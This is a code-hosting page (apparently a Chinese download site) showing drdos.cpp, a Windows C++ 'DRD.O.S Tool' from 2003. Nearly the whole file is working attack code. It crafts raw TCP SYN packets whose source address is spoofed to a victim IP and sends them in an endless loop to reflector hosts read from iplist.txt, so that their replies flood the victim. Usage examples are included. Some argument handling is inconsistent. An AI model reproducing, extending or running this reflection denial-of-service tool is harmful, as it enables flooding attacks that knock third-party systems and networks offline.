⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 drdos.cpp

📁 DRDoS
💻 CPP
字号:
///////////////////////////////////////////////////////
///               DRD.O.S Tool
///             http://www.safechina.net                      
///             Written by CDrea                    
///                2003-01-31                       
///                                                 
///  If u add some function, Please give me a copy  
///  mailto: rose_raiden@hotmail.com                
///////////////////////////////////////////////////////

#include <stdio.h>
#include <string.h>
#include <Winsock2.h>
#include <Ws2tcpip.h>
#pragma comment(lib,"ws2_32")
#define HOST_LEN 15
#define SEQ 0x28376839
#define TCP_SERVER_PORT 80
#define FAKE_PORT 80
#define STATUS_FAILED 0xFFFF



typedef struct  _iphdr
{
	unsigned char   h_lenver;
	unsigned char   tos;
	unsigned short  total_len;
	unsigned short  ident;
	unsigned short  frag_and_flags;
	unsigned char   ttl;
	unsigned char   proto;
	unsigned short  checksum;
	unsigned int    sourceIP;
	unsigned int    destIP;
}IP_HEADER, * PIP_HEADER;

typedef struct  _tcphdr
{
	unsigned short  th_sport;
	unsigned short  th_dport;
	unsigned int    th_seq;
	unsigned int    th_ack;
	unsigned char   th_lenres;
	unsigned char   th_flag;
	unsigned short  th_win;
	unsigned short  th_sum;
	unsigned short  th_urp;
}TCP_HEADER, * PTCP_HEADER;

struct
{
	unsigned long   saddr;
	unsigned long   daddr;
	char            mbz;
	char            ptcl;
	unsigned short  tcpl;
}psd_header;

int SendThread(int argc, char * argv[], char * destIp);
void Usage(char *);
void GetCMD(int argc, char * argv[]);
USHORT checksum(USHORT * buffer, int size);

int main(int argc, char * argv[])
{
	WSADATA wsaData;
	int     ErrorCode;
	
	if(argc < 2 || argc > 6)
	{
		Usage(argv[0]);
		ExitProcess(STATUS_FAILED);
	}
	if((ErrorCode=WSAStartup(MAKEWORD(2, 1), &wsaData))!=0)
	{
		fprintf(stderr, "WSAStartup failed: %d\n", ErrorCode);
		ExitProcess(STATUS_FAILED);
	}

	ErrorCode = SendThread(argc, argv, argv[1]);
	if(ErrorCode != 0)
	{
		fprintf(stderr, "Thread failed: %d\n", ErrorCode);
		ExitProcess(STATUS_FAILED);
	}
	return 0;
}

int SendThread(int argc, char * argv[], char * destIP)
{
	int     TimeOut=2000, ErrorCode, flag, i=0;	
	char    SendBuff[128];
	char    HostName[HOST_LEN];
	char    ch;
	FILE *  fp;
	SOCKET  SendSock;
	struct sockaddr_in  DestAddr;
	IP_HEADER  IpHeader;
	TCP_HEADER TcpHeader;

	if((fp=fopen("iplist.txt", "r")) == NULL)
	{
		printf("Error: File not found!\n");
		return -1;
	}
	SendSock = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED);
	if(SendSock == INVALID_SOCKET)
	{
		fprintf(stderr, "socket failed: %d\n", GetLastError());
		ExitProcess(STATUS_FAILED);
	}

	flag = true;
	ErrorCode = setsockopt(SendSock, IPPROTO_IP, IP_HDRINCL, (char *)&flag, sizeof(int));
	if(ErrorCode == SOCKET_ERROR)
	{
		fprintf(stderr, "set IP_HDRINCL failed: %d\n", GetLastError());
		ExitProcess(STATUS_FAILED);
	}

	__try
	{
		if(argc > 4)
			TimeOut = atoi(argv[3]);
		ErrorCode = setsockopt(SendSock, SOL_SOCKET, SO_SNDTIMEO, (char *)&TimeOut,
			sizeof(TimeOut));
		if(ErrorCode == SOCKET_ERROR)
		{
			fprintf(stderr, "set TimeOut failed: %d\n", GetLastError());
			__leave;
		}
	
		DestAddr.sin_family = AF_INET;
//		DestAddr.sin_addr.s_addr = inet_addr(SERVER);
		if(argc > 3)
			DestAddr.sin_port = htons(atoi(argv[3]));
		else
			DestAddr.sin_port = htons(TCP_SERVER_PORT);

		IpHeader.h_lenver = (4<<4 | sizeof(IpHeader)/sizeof(unsigned long));
		IpHeader.tos = 0;
		IpHeader.total_len = htons(sizeof(IP_HEADER) + sizeof(TCP_HEADER));
		IpHeader.ident = 1;
		IpHeader.frag_and_flags = 0;
		IpHeader.ttl = 128;
		IpHeader.proto = IPPROTO_TCP;
		IpHeader.checksum = 0;
		IpHeader.sourceIP = inet_addr(destIP);
		IpHeader.destIP = inet_addr("0.0.0.0");

		if(argc > 2)
			TcpHeader.th_sport = htons(atoi(argv[2]));
		else
			TcpHeader.th_sport = htons(FAKE_PORT);
		if(argc > 3)
			TcpHeader.th_dport = htons(atoi(argv[3]));
		else
			TcpHeader.th_dport = htons(TCP_SERVER_PORT);
		TcpHeader.th_seq = htonl(SEQ);
		TcpHeader.th_ack = 0;
		TcpHeader.th_lenres = (sizeof(TCP_HEADER)/4<<4|0);
		TcpHeader.th_flag = 2;
		TcpHeader.th_win = htons(16384);
		TcpHeader.th_urp = 0;
		TcpHeader.th_sum = 0;

		psd_header.saddr = IpHeader.sourceIP;
		psd_header.daddr = IpHeader.destIP;
		psd_header.mbz = 0;
		psd_header.ptcl = IPPROTO_TCP;
		psd_header.tcpl = htons(sizeof(TCP_HEADER));

/*		memcpy(SendBuff, &psd_header, sizeof(psd_header));
		memcpy(SendBuff+sizeof(psd_header), &TcpHeader, sizeof(TCP_HEADER));
		TcpHeader.th_sum = checksum((USHORT *)SendBuff, sizeof(psd_header)+sizeof(TcpHeader));
	
		memcpy(SendBuff, &IpHeader, sizeof(IP_HEADER));
		memcpy(SendBuff+sizeof(IP_HEADER), &TcpHeader, sizeof(TCP_HEADER));
		memset(SendBuff+sizeof(IP_HEADER)+sizeof(TCP_HEADER), 0, 4);
		IpHeader.checksum = checksum((USHORT *)SendBuff, sizeof(IP_HEADER)+sizeof(TCP_HEADER));

		memcpy(SendBuff, &IpHeader, sizeof(IP_HEADER));
		memcpy(SendBuff+sizeof(TCP_HEADER), &TcpHeader, sizeof(TCP_HEADER)); */
		
		printf("Send Packets\n");
		int Packets = 0;

		ch = fgetc(fp);
		GetCMD(argc, argv);
		while(1)
		{
			if(ch == '\n' || ch == EOF)
			{
				HostName[i] = '\0';
// Add your code here-----------------------
				DestAddr.sin_addr.s_addr = inet_addr(HostName);
				IpHeader.destIP = inet_addr(HostName);
				IpHeader.checksum = 0;
				psd_header.daddr = IpHeader.destIP;
				TcpHeader.th_seq = htonl(SEQ);
				TcpHeader.th_sum = 0;

				memcpy(SendBuff, &psd_header, sizeof(psd_header));
				memcpy(SendBuff+sizeof(psd_header), &TcpHeader, sizeof(TCP_HEADER));
				TcpHeader.th_sum = checksum((USHORT *)SendBuff, sizeof(psd_header)+sizeof(TcpHeader));
	
				memcpy(SendBuff, &IpHeader, sizeof(IP_HEADER));
				memcpy(SendBuff+sizeof(IP_HEADER), &TcpHeader, sizeof(TCP_HEADER));
				memset(SendBuff+sizeof(IP_HEADER)+sizeof(TCP_HEADER), 0, 4);
				IpHeader.checksum = checksum((USHORT *)SendBuff, sizeof(IP_HEADER)+sizeof(TCP_HEADER));

				memcpy(SendBuff, &IpHeader, sizeof(IP_HEADER));
				memcpy(SendBuff+sizeof(TCP_HEADER), &TcpHeader, sizeof(TCP_HEADER));

				Packets++;
				if(Packets == 10240)
				{
					printf(".");
					Packets = 1;
				}
				ErrorCode = sendto(SendSock, SendBuff, sizeof(IP_HEADER)+sizeof(TCP_HEADER), 0,
					(struct sockaddr *)&DestAddr, sizeof(DestAddr));
//				printf("->%s\n", HostName);
//----------------------------
				i = 0;
				ch = fgetc(fp);

				if(ch == EOF)
				{
//					i = 0;
					rewind(fp);
//					memset(HostName, 0, sizeof(HostName));
				}
			}
			HostName[i] = ch;
				i++;
			ch = fgetc(fp);
		}
	}
	__finally
	{
		if(SendSock == INVALID_SOCKET)
			closesocket(SendSock);
		WSACleanup();
	}

	return 0;
}

USHORT checksum(USHORT *buffer, int size)
{ 
	unsigned long cksum=0;
    while(size >1)
	{
		cksum+=*buffer++;
        size -=sizeof(USHORT);
    }
    if(size)
	{
		cksum += *(UCHAR*)buffer;
	}
    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >>16);

	return (USHORT)(~cksum);
}

void Usage(char * msg)
{
	printf("+-----------------------------+\n");
	printf("|  DRD.O.S Tool v0.3          |\n");
	printf("|                             |\n");
	printf("|  http://www.safechina.net   |\n");
	printf("+-----------------------------+\n");
	printf("USAGE:\n");
	printf("  %s DestIP [DestPort] [TcpServerPort] [TimeOut]\n", msg);
	printf("EXAMPLE:\n");
	printf("  %s 192.168.0.1\n", msg);
	printf("  %s 192.168.0.1 80\n", msg);
	printf("  %s 192.168.0.1 80 170 \n", msg);
	printf("  %s 192.168.0.1 80 170 2000\n", msg);
}

void GetCMD(int argc, char * argv[])
{
	printf("<------------------------>\n");
	printf("  Target: %s\n", argv[2]);
	if(argc > 3)
		printf("  Target Port: %d\n", atoi(argv[3]));
	if(argc > 4)
		printf("  TCP Server Port: %d\n", atoi(argv[4]));
	if(argc > 5)
		printf("  Timeout: %d\n", atoi(argv[5]));
	printf("<------------------------>\n");
}
	

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -